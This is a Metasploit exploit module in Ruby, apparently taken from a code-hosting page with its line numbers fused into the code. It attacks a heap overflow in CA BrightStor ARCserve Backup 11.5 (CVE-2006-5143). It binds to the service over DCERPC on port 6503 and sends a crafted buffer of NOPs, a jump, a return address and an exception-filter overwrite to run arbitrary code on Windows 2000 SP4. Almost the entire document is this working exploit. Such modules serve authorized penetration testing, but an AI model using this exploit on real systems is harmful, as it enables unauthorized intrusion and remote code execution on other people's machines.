Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/brightstor/message_engine_heap.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::DCERPC910def initialize(info = {})11super(update_info(info,12'Name' => 'CA BrightStor ARCserve Message Engine Heap Overflow',13'Description' => %q{14This module exploits a heap overflow in Computer Associates BrightStor ARCserve Backup1511.5. By sending a specially crafted RPC request, an attacker could overflow the16buffer and execute arbitrary code.17},18'Author' => [ 'MC' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2006-5143' ],23[ 'OSVDB', '29533' ],24[ 'BID', '20365' ],25],26'Privileged' => true,27'DefaultOptions' =>28{29'EXITFUNC' => 'process',30},31'Payload' =>32{33'Space' => 800,34'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' =>39[40['Windows 2000 SP4 English', { 'Ret' => 0x7c2f6cc8, 'UEF' => 0x7c54144c } ],41],42'DisclosureDate' => '2006-10-05',43'DefaultTarget' => 0))4445register_options(46[47Opt::RPORT(6503)48])49end5051def exploit52connect5354handle = dcerpc_handle('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])55print_status("Binding to #{handle} ...")5657dcerpc_bind(handle)58print_status("Bound to #{handle} ...")5960# straight forward heap stuffz61sploit = make_nops(680) + "\xeb\x0a" + make_nops(2) + [ target.ret ].pack('V')62sploit << [ target['UEF'] ].pack('V') + payload.encoded6364print_status("Trying target #{target.name}...")6566begin67dcerpc_call(43, sploit)68rescue Rex::Proto::DCERPC::Exceptions::NoResponse69end7071handler72disconnect73end74end757677